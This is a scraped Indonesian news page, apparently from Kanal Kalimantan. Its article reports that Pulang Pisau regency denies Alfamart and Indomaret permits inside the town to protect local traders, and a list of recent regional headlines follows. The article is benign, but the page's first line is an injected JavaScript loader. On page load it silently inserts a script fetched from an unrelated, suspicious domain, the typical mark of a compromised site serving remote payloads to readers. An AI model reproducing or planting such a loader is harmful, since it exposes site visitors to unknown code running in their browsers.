(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pemkab Pulpis Tak Izinkan Ritel Modern Buka di Dalam Kota


PULANG PISAU, Meski saat ini toko retail jaringan waralaba nasional sudah berdiri 3 unit (Alfamart 2 , Indomaret 1) di Kabupaten Pulang Pisau, namun tak berada di dalam kota. Ketiganya beroperasi di jalan Trans Kalimantan, masuk wilayah desa Anjir dan Desa Mantaren I.

Sekadar diketahui saja, Alfamart dan Indomaret memang tidak diberikan Izin oleh Dinas Penanaman Modal Pelayanan Terpadu Satu Pintu (DPMPTSP) Pulang Pisau untuk buka di area dalam kota.

“Dengan banyak pertimbangan, kita tidak izinkan toko retail itu buka di area pasar, area perkotaan dan pusat kota untuk saat ini. Alasannya, untuk menjaga usaha masyarakat lokal agar mereka bisa survive dulu. Nanti kalau sudah kuat dan siap bersaing, bisa jadi ada pengecualian,” terang Usis I Sangkai, Kepala DPMPTSP Pulang Pisau kepada Kanal Kalimantan.

Belakangan, dirinya mengakui memang ada permintaan dari pengelola Alfamart yang berniat membuka salah satu cabang di area dalam kota, tepatnya di jalan Panunjung Tarung Pulang Pisau. Bahkan saat itu menurut Usis, lokasi bangunan sudah disiapkan. Namun atas pertimbangan untuk menjaga kemandirian usaha-usaha lokal, izin saat itu tidak diberikan.

“Kita harap pengusaha retail berjaringan nasional itu paham dan mau mengerti jika masyarakat Pulang Pisau ini dalam tahap berkembang. Begitu juga pengusaha lokal, mereka perlu dukungan untuk menguatkan usaha. Kalau langsung kita lepas untuk bersaing dengan retail sebesar Alfamart atau Indomaret, jelas mereka akan kalah dan kita tidak ingin itu terjadi,” ujar Usis dengan nada serius.

Dirinya menampik anggapan jika disebut pilih-pilih investor. Jika tetap ingin membuka cabang di Pulang Pisau, pihaknya mempersilahkan memilih lokasi lain. Misal di sepanjang jalan Trans Kalimantan, saat ini sudah ada 1 Alfamart yang beroperasi dan menurutnya potensi pasarnya juga bagus.

“Nah, buka saja di sepanjang lintasan jalan Trans Kalimantan. Kita yakin cukup potensial karena wilayah kita ini merupakan jalur perlintasan antar kota, Palangkaraya dan Banjarmasin. Kita sangat membuka diri bagi pengusaha yang ingin berinvestasi, namun tetap pada koridor yang sesuai dengan tata cara kita,” tuturnya. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

10 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

10 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.